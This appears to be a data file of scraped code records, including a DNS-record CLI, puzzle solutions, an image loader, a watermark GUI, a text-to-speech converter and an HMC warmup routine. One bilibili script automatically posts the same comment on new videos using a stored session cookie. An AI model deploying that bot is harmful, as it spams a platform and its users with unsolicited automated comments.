new.lower() == 'quit':\n\t\t\tbreak\n\t\tif new.lower() == 'run':\n\t\t\tprint(client.run())\n\t\tif new.lower() == 'check':\n\t\t\tname = input('【可选】输入要查询的域名:')\n\t\t\taddress = input('【可选】输入要查询的IP地址: ')\n\t\t\treq = client.checker(name, address)\n\t\t\tif req:\n\t\t\t\tfor n in req:\n\t\t\t\t\tprint(\"----------------------\")\n\t\t\t\t\tp = '记录ID:{} 域名:{} 解析地址:{} 解析线路:{}'.format(n.id, n.domain, n.address, n.operator)\n\t\t\t\t\tprint(p)\n\t\t\t\t\tprint(\"----------------------\")\n\t\t\telse:\n\t\t\t\tprint('没有找到这条DNS记录')\n\t\tif new.lower() == 'add':\n\t\t\trule = {'1': '全部线路', '2': '中国联通'}\n\t\t\tname = input('输入要绑定的域名:')\n\t\t\taddress = input('输入域名对应的IP地址: ')\n\t\t\toper = input('输入解析的线路 [1]全部线路 [2]中国联通: ')\n\t\t\treq = client.Add_to_list(name=name, address=address, operator=rule[oper])\n\t\t\tprint(\"----------------------\")\n\t\t\tprint('{name} add to list {stat}'.format(name=name, stat=req))\n\t\t\tprint(\"----------------------\")\n\t\tif new.lower() == 'del':\n\t\t\tname = input('输入要删除的域名: ')\n\t\t\tck = client.checker(name)\n\t\t\tif ck:\n\t\t\t\twhile ck:\n\t\t\t\t\tprint(\"----------------------\")\n\t\t\t\t\tfor n in range(len(ck)):\n\t\t\t\t\t\tprint('{} {} {} {}'.format(n, ck[n].id, ck[n].domain, ck[n].address))\n\t\t\t\t\tprint(\"----------------------\")\n\t\t\t\t\tid_n = input(\"请输入将要删除的解析记录,[quit]退出删除:\")\n\t\t\t\t\tif id_n.lower() == 'quit':\n\t\t\t\t\t\tbreak\n\t\t\t\t\tstat = client.Delete_domain(domain_id=ck[int(id_n)].id, name=name)\n\t\t\t\t\tck.pop(int(id_n))\n\t\t\t\t\tprint('删除{}: {}'.format(name, stat))\n\t\t\telse:\n\t\t\t\tprint('没有找到 {} 解析记录'.format(name))\n\t\tif new.lower() == 'drun':\n\t\t\tprint(client.del_all(domfile='./delist.txt'))","sub_path":"qunying/add.py","file_name":"add.py","file_ext":"py","file_size_in_byte":12670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"72735590","text":"def get_bracket_matcher(lexeme_sequence):\n opening_bracket_stack = []\n bracket_matcher = {}\n\n for index, lexeme in enumerate(lexeme_sequence):\n if lexeme == \"(\":\n opening_bracket_stack.append(index)\n if lexeme == \")\":\n opening_index = opening_bracket_stack.pop()\n bracket_matcher[opening_index] = index\n return bracket_matcher\n\ndef build_tree(lexeme_sequence):\n bracket_matcher = get_bracket_matcher(lexeme_sequence)\n index = 0\n tree = []\n while index < len(lexeme_sequence):\n \n if lexeme_sequence[index] == \"(\":\n closing_bracket_index = bracket_matcher[index]\n subsequence = lexeme_sequence[index+1:closing_bracket_index]\n tree.append(build_tree(subsequence))\n index = closing_bracket_index + 1\n else:\n tree.append(lexeme_sequence[index])\n index += 1\n return tree\n\ndef rebuild_precedence(tree):\n if isinstance(tree, int) or isinstance(tree, str):\n return tree\n elif \"+\" in tree and \"*\" in tree:\n\n add_index = tree.index(\"+\")\n\n left = tree[:add_index-1]\n sub = tree[add_index-1:add_index+2]\n right = tree[add_index+2:]\n \n new_tree = [*left, sub, *right]\n return rebuild_precedence(new_tree)\n else:\n return [rebuild_precedence(st) for st in tree]\n\ndef lex(expression):\n non_numeric = (\"*\", \"+\", \"(\", \")\")\n lexemes = []\n partial_number = []\n for char in expression:\n if char in non_numeric:\n if len(partial_number) > 0:\n lexemes.append( int(\"\".join(partial_number)) )\n partial_number = []\n lexemes.append(char)\n else:\n partial_number.append(char)\n if len(partial_number) > 0:\n lexemes.append( int(\"\".join(partial_number)) )\n return lexemes\n\ndef parse_op(op):\n if op == \"*\":\n return lambda x,y: x * y\n if op == \"+\":\n return lambda x,y: x + y\n\ndef evaluate_tree(tree):\n if isinstance(tree, int):\n return tree\n else:\n accumulator, tree = evaluate_tree(tree[0]), tree[1:]\n while len(tree) > 0:\n op, value = parse_op(tree[0]), evaluate_tree(tree[1])\n accumulator = op(accumulator, value)\n tree = tree[2:]\n return accumulator\n\ndef evaluate_expression(expression):\n expression = expression.replace(\" \", \"\").strip()\n lexemes = lex(expression)\n tree = build_tree(lexemes)\n tree = rebuild_precedence(tree)\n result = evaluate_tree(tree)\n return result\n\ndef main():\n with open(\"inputs/day18.txt\") as f:\n result = sum( evaluate_expression(line) for line in f.readlines() )\n print(result)\n\nmain()","sub_path":"day_18_2.py","file_name":"day_18_2.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"643461952","text":"import cv2\nfrom glob import glob\nimport itertools\nimport numpy as np\nimport os\n\nrain_labels = ['Rain_Light', 'Rain_Medium', 'Rain_Heavy']\n\nclass DIDMDNDataLoader():\n def __init__(self, img_res=(512, 512), \n img_path='D:/DataSet/DIDMDN/{0}/{1}/'):\n self.dataset_name = self.__class__\n self.img_res = img_res\n \n self.img_path = img_path\n self.img_type = '.jpg'\n self.train_dir = 'training'\n self.test_dir = 'testing'\n \n def load_data(self, batch_size=1, is_testing=False):\n if is_testing:\n img_path = self.img_path.format(self.test_dir, '')\n rain_base_names = ['{0}'.format(i) + self.img_type for i in range(1200) ]\n else:\n img_path = self.img_path.format(self.train_dir, '{0}')\n rain_base_names = ['{0}'.format(i) + self.img_type for i in range(4000) ]\n \n batch_rain_base_names = np.random.choice(rain_base_names, size=batch_size)\n\n clear_imgs, rain_imgs, labels = [], [], []\n \n if is_testing:\n for rain_base_name in batch_haze:\n clear_img, rain_img = self.load_img(img_path + rain_base_name)\n if not is_testing and np.random.random() > 0.5:\n clear_img = np.fliplr(clear_img)\n rain_img = np.fliplr(rain_img)\n\n clear_imgs.append(clear_img)\n rain_imgs.append(rain_img)\n labels.append(0)\n else:\n for rain_base_name, (label_id, label_name) in itertools.product(batch_haze, enumerate(rain_labels)):\n clear_img, rain_img = self.load_img(img_path.format(label_name) + rain_base_name)\n\n if not is_testing and np.random.random() > 0.5:\n clear_img = np.fliplr(clear_img)\n rain_img = np.fliplr(rain_img)\n\n clear_imgs.append(clear_img)\n rain_imgs.append(rain_img)\n labels.append(label_id)\n\n clear_imgs = np.array(clear_imgs)\n rain_imgs = np.array(rain_imgs)\n labels = np.array(labels)\n\n return rain_imgs, clear_imgs, labels\n\n def load_batch(self, batch_size=1, is_testing=False):\n if is_testing:\n img_path = self.img_path.format(self.test_dir, '')\n rain_base_names = ['{0}'.format(i) + self.img_type for i in range(1200)]\n else:\n img_path = self.img_path.format(self.train_dir, '{0}')\n rain_base_names = ['{0}'.format(i) + self.img_type for i in range(4000)]\n \n self.n_batches = len(rain_base_names) // batch_size\n total_samples = self.n_batches * batch_size\n\n \n # Sample n_batches * batch_size from each path list so that model sees all\n # samples from both domains\n rain_base_names = np.random.choice(rain_base_names, total_samples, replace=False)\n\n for i in range(self.n_batches-1):\n batch_rain = rain_base_names[i*batch_size : (i+1)*batch_size]\n clear_imgs, rain_imgs, labels = [], [], []\n \n if is_testing:\n for rain_base_name in batch_rain:\n clear_img, rain_img = self.load_img(img_path + rain_base_name)\n print(img_path + rain_base_name)\n print(clear_img.shape, rain_img.shape)\n\n if not is_testing and np.random.random() > 0.5:\n clear_img = np.fliplr(clear_img)\n rain_img = np.fliplr(rain_img)\n\n clear_imgs.append(clear_img)\n rain_imgs.append(rain_img)\n labels.append(0)\n else:\n for rain_base_name, (label_id, label_name) in itertools.product(batch_rain, enumerate(rain_labels)):\n rain_img, clear_img = self.load_img(img_path.format(label_name) + rain_base_name)\n if not is_testing and np.random.random() > 0.5:\n clear_img = np.fliplr(clear_img)\n rain_img = np.fliplr(rain_img)\n\n clear_imgs.append(clear_img)\n rain_imgs.append(rain_img)\n labels.append(label_id)\n\n clear_imgs = np.array(clear_imgs)\n rain_imgs = np.array(rain_imgs)\n labels = np.array(labels)\n\n yield rain_imgs, clear_imgs, labels\n\n def load_img(self, path):\n img = self.imread(path)\n \n half_wid = img.shape[1] // 2\n \n img_rain = img[:,:half_wid]\n img_clear = img[:,half_wid:]\n \n img_rain = cv2.resize(img_rain, self.img_res)\n img_clear = cv2.resize(img_clear, self.img_res)\n \n img_rain = img_rain / 127.5 - 1.\n img_clear = img_clear / 127.5 - 1.\n return img_rain, img_clear\n\n def imread(self, path):\n return cv2.cvtColor(cv2.imread(path), cv2.COLOR_BGR2RGB).astype(np.float)\n","sub_path":"data_loader/didmdn_data_loader.py","file_name":"didmdn_data_loader.py","file_ext":"py","file_size_in_byte":4958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"73636084","text":"#-------------------------------------------------------------------------------\r\n# Name: Watermark GUI\r\n# Purpose: Package watermark to provide GUI.\r\n#\r\n# Author: Gnekiah\r\n#\r\n# Created: 26/05/2016\r\n# Copyright: (c) Gnekiah 2016\r\n# Licence: \r\n#-------------------------------------------------------------------------------\r\n\r\n# -*- coding: utf-8 -*- #\r\n\r\nimport os, wx\r\n\r\nFRAME_SIZE = (640,480)\r\nLABEL1_POS = (10,20)\r\nLABEL2_POS = (10,330)\r\nLABEL3_POS = (0,300)\r\nLABEL3_SIZE = (640,5)\r\nTEXTCTRL_SIZE = (300,30)\r\nSRPATH_POS = (230,18)\r\nWMPATH_POS = (230,78)\r\nWMTEXT_POS = (230,118)\r\nCKPATH_POS = (230,328)\r\nBUTTON_SIZE = (80,30)\r\nBUTTON_SIZE_V2 = (100,50)\r\nSR_BUTTON_POS = (535,18)\r\nWM_BUTTON_POS = (535,78)\r\nCK_BUTTON_POS = (535,328)\r\nEMBED_BUTTON_POS = (515,180)\r\nCHECK_BUTTON_POS = (515,380)\r\nRADIO1_POS = (30,80)\r\nRADIO2_POS = (30,120)\r\n\r\nwildcard = \"JPEG file(*.jpeg,*.jpg)|*.jpg;*.jpeg|PNG file(*.png)|*.png|All files(*.*)|*.*\"\r\n\r\n\r\nclass MainWindow(wx.App):\r\n def __init__(self):\r\n wx.App.__init__(self)\r\n\r\n\r\n def OnInit(self):\r\n frame = wx.Frame(parent=None, title=\"Water Mark\", size=FRAME_SIZE,\r\n style=wx.MINIMIZE_BOX|wx.SYSTEM_MENU|wx.CAPTION|wx.CLOSE_BOX|wx.CLIP_CHILDREN)\r\n frame.SetFont(wx.Font(18, wx.DEFAULT, wx.NORMAL, wx.NORMAL))\r\n\r\n # static text\r\n label1 = wx.StaticText(parent=frame, label=\"Origin Image Path:\", pos=LABEL1_POS)\r\n label2 = wx.StaticText(parent=frame, label=\"Origin Image Path:\", pos=LABEL2_POS)\r\n label3 = wx.StaticLine(parent=frame, pos=LABEL3_POS, size=LABEL3_SIZE)\r\n\r\n # file path, the target to add watermark\r\n srpath = wx.TextCtrl(parent=frame, pos=SRPATH_POS, size=TEXTCTRL_SIZE)\r\n # file path of watermark\r\n wmpath = wx.TextCtrl(parent=frame, pos=WMPATH_POS, size=TEXTCTRL_SIZE)\r\n # watermark text\r\n wmtext = wx.TextCtrl(parent=frame, pos=WMTEXT_POS, size=TEXTCTRL_SIZE)\r\n # file path, the target to check out watermark\r\n ckpath = wx.TextCtrl(parent=frame, pos=CKPATH_POS, size=TEXTCTRL_SIZE)\r\n\r\n # select source file path for embedding\r\n select_srpath = wx.Button(frame, label=\"Select\", pos=SR_BUTTON_POS, size=BUTTON_SIZE)\r\n # select watermark file path for embeded\r\n select_wmpath = wx.Button(frame, label=\"Select\", pos=WM_BUTTON_POS, size=BUTTON_SIZE)\r\n # select target file path for check out\r\n select_ckpath = wx.Button(frame, label=\"Select\", pos=CK_BUTTON_POS, size=BUTTON_SIZE)\r\n # embed button\r\n embed = wx.Button(frame, label=\"Embed\", pos=EMBED_BUTTON_POS, size=BUTTON_SIZE_V2)\r\n # check out button\r\n check = wx.Button(frame, label=\"Extract\", pos=CHECK_BUTTON_POS, size=BUTTON_SIZE_V2)\r\n\r\n # radio button\r\n radio1 = wx.RadioButton(parent=frame, label=\"Watermark Path\", pos=RADIO1_POS)\r\n radio2 = wx.RadioButton(parent=frame, label=\"Watermark Text\", pos=RADIO2_POS)\r\n self.radiogroup1 = (radio1, wmpath, select_wmpath)\r\n self.radiogroup2 = (radio2, wmtext)\r\n\r\n # event binding\r\n self.Bind(wx.EVT_RADIOBUTTON, self.OnRadio1Select, radio1)\r\n self.Bind(wx.EVT_RADIOBUTTON, self.OnRadio2Select, radio2)\r\n self.Bind(wx.EVT_BUTTON, self.OnButtonSelect1, select_srpath)\r\n self.Bind(wx.EVT_BUTTON, self.OnButtonSelect2, select_wmpath)\r\n self.Bind(wx.EVT_BUTTON, self.OnButtonSelect3, select_ckpath)\r\n self.Bind(wx.EVT_BUTTON, self.OnButtonEmbed, embed)\r\n self.Bind(wx.EVT_BUTTON, self.OnButtonCheck, check)\r\n self.srpath = srpath\r\n self.wmpath = wmpath\r\n self.wmtext = wmtext\r\n self.ckpath = ckpath\r\n self.embed = embed\r\n self.check = check\r\n\r\n # set radio one as default\r\n radio1.SetValue(True)\r\n wmtext.Show(False)\r\n self.frame = frame\r\n frame.Show()\r\n return True\r\n\r\n\r\n def OnRadio1Select(self, event):\r\n radio1, text1, button = self.radiogroup1\r\n radio2, text2 = self.radiogroup2\r\n text1.Show(True)\r\n button.Show(True)\r\n text2.Clear()\r\n text2.Show(False)\r\n\r\n\r\n def OnRadio2Select(self, event):\r\n radio1, text1, button = self.radiogroup1\r\n radio2, text2 = self.radiogroup2\r\n text1.Show(False)\r\n button.Show(False)\r\n text1.Clear()\r\n text2.Show(True)\r\n\r\n\r\n def OnButtonSelect1(self, event):\r\n self.srpath.WriteText(self.SelectFileDialog(self))\r\n\r\n\r\n def OnButtonSelect2(self, event):\r\n self.wmpath.WriteText(self.SelectFileDialog(self))\r\n\r\n\r\n def OnButtonSelect3(self, event):\r\n self.ckpath.WriteText(self.SelectFileDialog(self))\r\n\r\n\r\n def OnButtonEmbed(self, event):\r\n srpath = self.srpath.GetValue()\r\n wmpath = self.wmpath.GetValue()\r\n wmtext = self.wmtext.GetValue()\r\n self.srpath.Clear()\r\n self.wmpath.Clear()\r\n self.wmtext.Clear()\r\n\r\n\r\n def OnButtonCheck(self, event):\r\n srpath = self.ckpath.GetValue()\r\n self.ckpath.Clear()\r\n\r\n\r\n def SelectFileDialog(self, parent):\r\n path = \"\"\r\n dlg = wx.FileDialog(parent.frame, message=\"Choose a file\", defaultDir=os.getcwd(),\r\n defaultFile=\"\", wildcard=wildcard, style=wx.OPEN|wx.CHANGE_DIR)\r\n if dlg.ShowModal() == wx.ID_OK:\r\n path = dlg.GetPath()\r\n dlg.Destroy()\r\n return path\r\n\r\n\r\n def ErrorMessageBox(self, parent):\r\n dlg = wx.MessageDialog(parent.frame, 'No selected file or file not exist!',\r\n 'Error', wx.OK|wx.ICON_INFORMATION)\r\n dlg.ShowModal()\r\n dlg.Destroy()\r\n\r\n\r\n\r\ndef main():\r\n app = MainWindow()\r\n app.MainLoop()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"wmgui.py","file_name":"wmgui.py","file_ext":"py","file_size_in_byte":5765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"421930614","text":"import string\r\n\r\n\"\"\"\r\nProblem:\r\n\r\nNeed to create a decypher function to unscramble the messages. Test Cases were provided.\r\n\r\nThe cypher is build such that a would match to z and vice versa. \r\n\"\"\"\r\n\r\n\r\ndef solution(x):\r\n # Your code here\r\n \r\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\r\n translation = str.maketrans(alphabet, alphabet[::-1])\r\n result = x.translate(translation)\r\n \r\n return result\r\n\r\n\r\ndef main():\r\n solution.solution(\"wrw blf hvv ozhg mrtsg'h vkrhlwv?\")\r\n solution.solution(\"Yvzs! I xzm'g yvorvev Lzmxv olhg srh qly zg gsv xlolmb!!\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n","sub_path":"FooBar_Walter_Challenge1.py","file_name":"FooBar_Walter_Challenge1.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"623732358","text":"#\n# part 1\n#\nf = open(\"input\", \"r\")\n\nadjacencyForward = {}\n\nfor x in f:\n conn = x.strip().split(\")\")\n\n if (adjacencyForward.get(conn[0]) != None):\n adjacencyForward.update({conn[0]: adjacencyForward.get(conn[0]) + \"|\" + conn[1]})\n else:\n adjacencyForward.update({conn[0]: conn[1]});\n\n\ndef recTraverse(start, depth):\n if (adjacencyForward.get(start) == None):\n return depth;\n\n sum = depth\n for x in list(adjacencyForward.get(start).split(\"|\")):\n sum += recTraverse(x, depth + 1)\n return sum\n\n\nprint(str(recTraverse(\"COM\", 0)))\n\nf.close()\n\n#\n# part 2\n#\nf = open(\"input\", \"r\")\n\nadjacencyBackward = {}\n\nfor x in f:\n conn = x.strip().split(\")\")\n\n if (adjacencyBackward.get(conn[1]) != None):\n adjacencyBackward.update({conn[1]: adjacencyBackward.get(conn[1]) + \"|\" + conn[0]})\n else:\n adjacencyBackward.update({conn[1]: conn[0]});\n\n\ndef findSanta(lastPlanet, currentPlanet, depth):\n if (currentPlanet == \"SAN\"):\n return depth;\n\n sum = 0\n if (adjacencyForward.get(currentPlanet) != None):\n for x in list(adjacencyForward.get(currentPlanet).split(\"|\")):\n if (x != lastPlanet):\n sum += findSanta(currentPlanet, x, depth + 1)\n\n if (adjacencyBackward.get(currentPlanet) != None):\n for x in list(adjacencyBackward.get(currentPlanet).split(\"|\")):\n if (x != lastPlanet):\n sum += findSanta(currentPlanet, x, depth + 1)\n return sum;\n\n\nprint(str(findSanta(None, \"YOU\", 0) - 2))\n\nf.close()\n","sub_path":"day6/day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"577149946","text":"# -*- coding:UTF-8 -*-\nfrom urllib import request, parse\nimport io\nimport gzip\nimport re\nimport json\nimport time\n\n\ndef dezip(source, *, codeform=\"utf-8\"):\n if source.getheader(\"Content-Encoding\") == \"gzip\":\n tmp = io.BytesIO(source.read())\n data = gzip.GzipFile(fileobj=tmp).read().decode(codeform)\n else:\n data = source.read().decode(codeform)\n return data\n\n\nurl = \"https://api.bilibili.com/x/web-feed/feed?jsonp=jsonp&pn=1\"\nreplyurl = \"https://api.bilibili.com/x/v2/reply/add\"\nheader = {\n \"Connection\": \"keep-alive\",\n \"Accept\": \"application/json, text/javascript, */*; q=0.01\",\n \"Origin\": \"https://www.bilibili.com\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome\" +\n \"/63.0.3239.132 Safari/537.36\",\n \"Referer\": \"https://www.bilibili.com/video/av18420095/?spm_id_from=333.334.chief_recommend.22\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9\",\n \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n}\nreplydata = {\n \"oid\": 0,\n \"type\": 1,\n # message填你要发的话\n \"message\": \"恕我直言,在座的各位,手速都不如我->_->\",\n \"plat\": 1,\n \"jsonp\": \"jsonp\",\n \"csrf\": \"\"\n}\nhasreplied = [19283063]\nwith open(\"cookie.txt\") as tmp:\n header[\"cookie\"] = tmp.read()\nreplydata[\"csrf\"] = re.findall(\"(?<=bili_jct=)[^;]*\", header[\"cookie\"])[0]\nwhile True:\n req = request.Request(url=url + \"&_=\" + str(int(time.time()*1000)), headers=header)\n data = dezip(request.urlopen(req))\n# print(data)\n data = json.loads(data)\n tmp = data[\"data\"]\n nowtime = int(time.time())\n for i in tmp:\n if i[\"type\"] == 0:\n if i[\"archive\"][\"stat\"][\"reply\"] < 10:\n replydata[\"oid\"] = i[\"archive\"][\"aid\"]\n elif i[\"type\"] == 1:\n bangumiurl = \"https://www.bilibili.com/bangumi/play/ep\" + str(i[\"bangumi\"][\"new_ep\"]['episode_id'])\n bangumreq = request.Request(headers=header, url=bangumiurl)\n bangumres = dezip(request.urlopen(bangumreq))\n aid = re.findall(\"(?<=av)\\d+\", bangumres)[0]\n replydata[\"oid\"] = int(aid)\n if replydata[\"oid\"] in hasreplied:\n break\n hasreplied.append(replydata[\"oid\"])\n replyreq = request.Request(url=replyurl, data=parse.urlencode(replydata).encode(), headers=header)\n result = dezip(request.urlopen(replyreq))\n print(replydata[\"oid\"], result)\n time.sleep(10)\n","sub_path":"bilibilifirst/getfirst.py","file_name":"getfirst.py","file_ext":"py","file_size_in_byte":2524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"206355600","text":"import subprocess\nimport requests\nimport os\nimport wave\n\nURL = 'WATSON_URL'\nPASSWORD = 'WATSON_PASSWORD'\nUSERNAME = 'WATSON_USERNAME'\nCHUNK_SIZE = 1024\n\ndef download(text, filename, path):\n\t\t#requests gets response using parameters for authorization and audio format\n\t\t#stream=True allows it to be streamed as well\n\t\t#verify=False ignores SSL certification\n\t\tr = requests.get(URL + \"/v1/synthesize\",\n auth=(USERNAME, PASSWORD),\n params={'text': text, 'voice': 'en-US_AllisonVoice', 'accept': 'audio/ogg;codecs=opus'},\n verify=False\n )\n\t\t#ensures path and directory exist\n\t\tif not os.path.exists(path):\n\t\t\tos.makedirs(path)\n\n\t\t#opens filename from stream and saves it into filename\n\t\t#'wb' indicates file is opened for writing in binary mode\n\t\t#joins path and filename\n\t\twith open(os.path.join(path, filename + '.ogg'), 'wb') as fd:\n\t\t\tfor chunk in r.iter_content(CHUNK_SIZE):\n\t\t\t\tfd.write(chunk)\n\n\t\tlistElement = [path, filename]\n\t\treturn listElement\n\n\t#reads in input and determines if more than one file is needed to download\n\t#REQUIRES: Text is in format of *LANGUAGE text\n\t#EFFECTS: Produces a single file if no language change, or produces several\n\t#files with a number extension marking their order if text uses multiple\n\t#languages\n\ndef writeFiles(text, filename, path):\n\tprint(\"\\nConverting text.\\n\")\n\n\t#saves english voice specification\n\tenglish = 'en-US_AllisonVoice'\n\t#creates a counter for the filenames\n\tcount = 0\n\t#creates an extension for the filename\n\textension = \"\"\n\n\t#empty list for storing filenames\n\t#will be used later in main for conversion to vox\n\tfileList = []\n\n\t#splits the strings into a list, separated by the symbol (*)\n\ttext = text[1:]\n\tstringList = text.split('*')\n\t#iterates through the strings in the list\n\t#each should begin with a specification of language\n\tfor string in stringList:\n\t\tcount += 1\n\t\t#splits the string from the language variable\n\t\ta, b = string.split(\" \", 1)\n\t\t#creates a spanish file\n\t\tif a == \"Spanish\":\n\t\t\tvoice = \"es-US_SofiaVoice\"\n\t\t\t#checks if no language change, if so leaves off count\n\t\t\tif len(stringList) == 1:\n\t\t\t\t#downloads file, also appends to fileList\n\t\t\t\tf = download(b, filename + extension, path)\n\t\t\t\tfileList.append(f)\n\t\t\telse:\n\t\t\t\tf = download(b, filename + str(count)\n\t\t\t\t\t\t\t + extension, path)\n\t\t\t\tfileList.append(f)\n\t\t#creates an english file\n\t\telif a == \"English\":\n\t\t\tvoice = english\n\t\t\t#checks if no language change, if so leaves off count\n\t\t\tif len(stringList) == 1:\n\t\t\t\tf = download(b, filename + extension, path)\n\t\t\t\tfileList.append(f)\n\t\t\telse:\n\t\t\t\tf = download(b, filename + str(count)\n\t\t\t\t + extension, path)\n\t\t\t\tfileList.append(f)\n\n\t\t#returns a list of all files written\n\t\t#returns them as a list of 2 element lists\n\t\t#each element contains both the filename and its path\n\t\t#useful later for vox conversion and merging\n\treturn fileList\n\ndef setWAV(filename):\n\twavfile = wave.open(filename, 'w') #opens a wave object for writing binary\n\twavfile.setframerate(48000)\n\twavfile.setnchannels(2)\n\twavfile.setsampwidth(2)\n\twavfile.close()\n\ndef getParams(filename):\n\twavfile = wave.open(filename, 'r')\n\tprint(\"num channels: %s\" % wavfile.getnchannels())\n\tprint(\"sample width: %s\" % wavfile.getsampwidth())\n\tprint(\"framerate: %s\" % wavfile.getframerate())\n\tprint(\"comptype: %s\" % wavfile.getcomptype())\n\tprint(\"compname: %s\" % wavfile.getcompname())\n\n\twavfile.close()\n\ndef convertToWav(filename):\n\twavName = filename[:-4] + '.wav'\n\tcommand = [\"ffmpeg\", \"-i\", filename, wavName]\n\tsubprocess.call(command, shell=True)\n\n\treturn wavName\n\ndef convertToVox(filename, voxName):\n\tcommand = [r\"copyfiles\\vcecopy\", filename, voxName]\n\tsubprocess.call(command, shell=True)\n\n#method to convert wav file to vox\ndef fullConvert(stringList):\n\t#with only one element in the list, conversion is simple\n\t#extract filename, end with vox, convert\n\tif len(stringList) == 1:\n\t\t#takes first and only element from the list\n\t\tfor string in stringList:\n\t\t\tfilepath = string[0]\n\t\t\tfilename = string[1]\n\t\t\t#voxName is the new file for conversion, removes '.wav'\n \t#and replaces it with '.vox', so the file will still have the user's\n \t#desired name choice\n\t\t\tfullPath = filepath + '\\\\' + filename + '.ogg'\n\t\t\twavPath = convertToWav(fullPath)\n\t\t\tvoxPath = fullPath[:-4] + '.vox'\n\t\t\tconvertToVox(wavPath, voxPath)\n\n\telse:\n\n\t\tfor string in stringList:\n\t\t\tfilepath = string[0]\n\t\t\tfilename = string[1]\n\t\t\tfilename = filename[:-1]\n\n\t\t\tfullPath = filepath + '\\\\' + filename + '.ogg'\n\t\t\twavPath = convertToWav(fullPath)\n\t\t\tvoxPath = fullPath[:-4] + '.vox'\n\t\t\tconvertToVox(wavPath, voxPath)\n\n\t\t\t#the old .wav file is removed, leaving only the vox file\n #os.remove(string)\n\n'''full test of executer'''\n#strList = writeFiles(\"*English hi how are you\", \"middletest\", \"wavfiles\") #writes a temporary wave file to convert\n#fullConvert(strList)\n\n\n'''simple test of watson-produced wave'''\n#subprocess.call(r\" \")\n\n'''simple test of sample wave'''\n#subprocess.call(r\" )\n\n'''wave parameter testing'''\n#getParams(r\"path to wav\")\n#getParams(r\"path to wav\")\n","sub_path":"src/executer.py","file_name":"executer.py","file_ext":"py","file_size_in_byte":5222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"576906751","text":"class Solution:\n def sortByBits(self, arr: List[int]) -> List[int]:\n sorted_arr = sorted(arr, key=lambda num: (self.getBits(num), num))\n return sorted_arr\n def getBits(self, num: int) -> int:\n oneBits = 0\n curNum = num\n while curNum > 0:\n oneBits += curNum % 2\n curNum //= 2\n return oneBits","sub_path":"leetcode/1356.sort-integers-by-the-number-of-1-bits/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"537703244","text":"\"\"\"Warming up the chain.\n\n.. note:\n This is a \"flat zone\": all positions are 1D array.\n\"\"\"\nfrom typing import Callable, Tuple\n\nimport jax\nfrom jax import numpy as np\n\nfrom mcx.inference.adaptive import (\n dual_averaging,\n find_reasonable_step_size,\n mass_matrix_adaptation,\n)\nfrom mcx.inference.dynamics import euclidean_manifold_dynamics\nfrom mcx.inference.integrators import leapfrog_integrator\nfrom mcx.inference.kernels import HMCState, hmc_kernel\n\n\ndef hmc_warmup(\n rng_key: jax.random.PRNGKey,\n logpdf: Callable,\n initial_state: HMCState,\n inital_step_size: float,\n path_length: float,\n num_steps: int,\n diagonal_mass_matrix=True,\n) -> Tuple[HMCState, Callable]:\n \"\"\" Warmup scheme for sampling procedures based on euclidean manifold HMC.\n\n Separation between sampling and warmup ensures better modularity; a modification\n in the warmup procedure should not affect the sampling implementation.\n\n Returns\n -------\n Tuple\n The current state of the chain and the warmed-up kernel.\n \"\"\"\n\n n_dims = np.shape(initial_state.position)[-1] # `position` is a 1D array\n\n # Initialize the mass matrix adaptation\n mm_init, mm_update, mm_final = mass_matrix_adaptation(diagonal_mass_matrix)\n mm_state = mm_init(n_dims)\n\n # Initialize the HMC transition kernel\n momentum_generator, kinetic_energy = euclidean_manifold_dynamics(\n mm_state.mass_matrix_sqrt, mm_state.inverse_mass_matrix\n )\n hmc_partial_kernel = jax.partial(\n hmc_kernel,\n logpdf,\n leapfrog_integrator,\n momentum_generator,\n kinetic_energy,\n lambda x: path_length,\n )\n\n # Initialize the dual averaging\n step_size = find_reasonable_step_size(\n rng_key, hmc_partial_kernel, initial_state, inital_step_size,\n )\n da_init, da_update = dual_averaging()\n da_state = da_init(step_size)\n\n # Get warmup schedule\n schedule = warmup_schedule(num_steps)\n\n state = initial_state\n for i, window in enumerate(schedule):\n\n for step in range(window):\n accept = lambda x, y, z: x\n proposal_state = hmc_partial_kernel(rng_key, step_size)\n state = accept(rng_key, proposal_state, state)\n if i != 0 and i != len(schedule) - 1:\n mm_state = mm_update(mm_state, state.position)\n\n if i == 0:\n da_state = da_update(state.p_accept, da_state)\n step_size = np.exp(da_state.log_step_size)\n elif i == len(schedule) - 1:\n da_state = da_update(state.p_accept, da_state)\n step_size = np.exp(da_state.log_step_size_avg)\n else:\n inverse_mass_matrix, mass_matrix_sqrt = mm_final(mm_state)\n momentum_generator, kinetic_energy = euclidean_manifold_dynamics(\n mm_state.mass_matrix_sqrt, mm_state.inverse_mass_matrix\n )\n hmc_partial_kernel = jax.partial(\n hmc_kernel,\n logpdf,\n leapfrog_integrator,\n momentum_generator,\n kinetic_energy,\n lambda x: path_length,\n )\n\n kernel = hmc_partial_kernel(step_size)\n\n return state, kernel\n\n\ndef ehmc_warmup(\n num_hmc_warmup_steps, num_longest_batch=2000, 